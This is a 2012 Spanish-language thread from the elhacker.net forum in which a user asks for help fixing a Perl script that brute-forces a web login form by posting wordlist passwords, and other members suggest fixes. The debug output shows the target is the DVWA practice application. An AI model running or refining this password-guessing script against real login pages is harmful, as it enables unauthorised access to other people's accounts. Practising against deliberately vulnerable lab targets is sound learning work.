Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Belial & Grimoire en 3 Septiembre 2012, 03:04 am



Título: ayuda con un intento de bruteforce en PERL
Publicado por: Belial & Grimoire en 3 Septiembre 2012, 03:04 am
hola

estaba tratando de hacer un bruteforce sencillo pero no logro hacer que funcione bien, ya que busca en un diccionario las palabras pero cuando pasa la correcta no se detiene

espero me puedan ayudar porfavor

Este es el codigo perl

Código
  1. use LWP::UserAgent;
  2. use HTTP::Request::Common;
  3.  
  4. my $target = $ARGV[0];
  5. my $user = $ARGV[1];
  6. my $file = $ARGV[2];
  7. my $bot = $ARGV[3];
  8.  
  9. unless ($target || $user || $file){
  10. print("modo de uso = brute.pl <target> <user> <wordlist>");
  11. exit 1;
  12. }
  13.  
  14. if(! -f $file){
  15. print("\n\n -Archivo inexistente o invalido");
  16. exit 1;
  17. }else{
  18.  
  19. open (WORDLIST, $file);
  20. @word = <WORDLIST>;
  21. close WORDLIST;
  22.  
  23. print("inicio de bruteforce");
  24. $i = 0;
  25.  
  26. foreach $words(@word){
  27. chomp $words;
  28. print "- Intentando con pass = $words\n";
  29. $lwp = LWP::UserAgent->new();
  30. $lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
  31. $request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
  32. $fondo = $request->content;
  33.  
  34. if($fondo =~ m/Login failed/i){
  35. chomp $words;
  36. print "\n\n[Usuario] $user\n";
  37. print "[Pass] $word\n";
  38. print "intentos $i\n";
  39. }else{
  40. $i++;
  41. }
  42.  
  43.  
  44. }
  45. }
  46.  


Y este es el codigo php con el que intento que funcione, no se si lo que hago es bueno, o habra otra forma de hacer un bruteforce mas universal

Código
  1. <form action="login.php" method="post">
  2.  
  3. <fieldset>
  4.  
  5. <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
  6.  
  7. <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
  8.  
  9. <p class="submit"><input type="submit" value="Login" name="Login"></p>
  10. </fieldset>
  11. </form>

salu2



Título: Re: ayuda con un intento de bruteforce en PERL
Publicado por: explorer en 3 Septiembre 2012, 11:37 am
Después del $i++; pon un

last;


Título: Re: ayuda con un intento de bruteforce en PERL
Publicado por: Belial & Grimoire en 3 Septiembre 2012, 17:38 pm
hola

gracias por la respuesta, pero sigue sin funcionar jeje, hice un cambio pero no logro hacerlo funcionar bien, creo el error esta en el ultimo "if" sino entonces no se me ocurre donde mas


Código
  1. #!/usr/bin/perl -w
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Request::Common;
  5.  
  6. my $target = $ARGV[0];
  7. my $user = $ARGV[1];
  8. my $file = $ARGV[2];
  9. my $bot = $ARGV[3];
  10.  
  11. unless ($target || $user || $file){
  12. print("modo de uso = brute.pl <target> <user> <wordlist><submit>");
  13. exit 1;
  14. }
  15.  
  16. if(! -f $file){
  17. print("\n\n -Archivo inexistente o invalido");
  18. exit 1;
  19. }else{
  20.  
  21. open (WORDLIST, $file);
  22. @word = <WORDLIST>;
  23. close WORDLIST;
  24.  
  25. print("inicio de bruteforce\n");
  26. $i = 0;
  27.  
  28. foreach $words(@word){
  29. chomp $words;
  30. print "\n- Intentando con pass = $words\n";
  31. $lwp = LWP::UserAgent->new();
  32. $lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
  33. $request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
  34. $fondo = $request->content;
  35.  
  36. if($fondo ne "Login failed"){
  37. chomp $words;
  38. print "[Usuario] $user\n";
  39. print "[Pass] $words\n";
  40. print "intentos $i\n";
  41. }else{
  42. $i++;
  43. last;
  44. }
  45. }
  46. }

Código:
- Intentando con pass = pa
[Usuario] admin
[Pass] pa
intentos 0

- Intentando con pass = pto
[Usuario] admin
[Pass] pto
intentos 0

- Intentando con pass = password
[Usuario] admin
[Pass] passo
intentos 0

- Intentando con pass = passo
[Usuario] admin
[Pass] passo
intentos 0

supuestamente se deberia detener en el tercero 'password' pero continua


Título: Re: ayuda con un intento de bruteforce en PERL
Publicado por: RevangelyonX en 4 Septiembre 2012, 14:02 pm
Hola
Puedes hacer un print de $fondo dentro del bucle?
Gracias


Título: Re: ayuda con un intento de bruteforce en PERL
Publicado por: explorer en 4 Septiembre 2012, 21:55 pm
¡Ah!, quizás el problema sea

if($fondo ne "Login failed"){


Es casi seguro que $fondo contengo algo más que "Login failed".

Quizás con una expresión regular...

Código
  1. if ($fondo !~  /Login failed/) {

Otro detalle: mueve el $i++ a la primera parte del if(), no al else{}.


Título: Re: ayuda con un intento de bruteforce en PERL
Publicado por: Belial & Grimoire en 5 Septiembre 2012, 04:34 am
hola

jeje bueno almenos los intentos si funcionaron, tenia que poner $i++ antes de else

pero sigo sin conseguir acceso, ya puse un print y esto me aparecio

Código
  1. - Intentando con pass = nano
  2.  
  3.  
  4. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  5.  
  6. <html xmlns="http://www.w3.org/1999/xhtml">
  7.  
  8. <head>
  9.  
  10. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  11.  
  12. <title>Damn Vulnerable Web App (DVWA) - Login</title>
  13.  
  14. <link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
  15.  
  16. </head>
  17.  
  18. <body>
  19.  
  20. <div align="center">
  21.  
  22. <br />
  23.  
  24. <p><img src="dvwa/images/login_logo.png" /></p>
  25.  
  26. <br />
  27.  
  28. <form action="login.php" method="post">
  29.  
  30. <fieldset>
  31.  
  32. <label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
  33.  
  34.  
  35. <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
  36.  
  37.  
  38. <p class="submit"><input type="submit" value="Login" name="Login"></p>
  39.  
  40. </fieldset>
  41.  
  42. </form>
  43.  
  44.  
  45. <br />
  46.  
  47.  
  48.  
  49. <br />
  50. <br />
  51. <br />
  52. <br />
  53. <br />
  54. <br />
  55. <br />
  56. <br />
  57.  
  58. <!-- <img src="dvwa/images/RandomStorm.png" /> -->
  59.  
  60. <p>Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project</p>
  61.  
  62. </div> <!-- end align div -->
  63.  
  64. </body>
  65.  
  66. </html>
  67. [Usuario] admin
  68. [Pass] nano
  69. intentos 6
  70.  
  71.  

en el php cuando pongo un codigo erroneo, me aparece Login failed, pero no se que mas podria hacer mal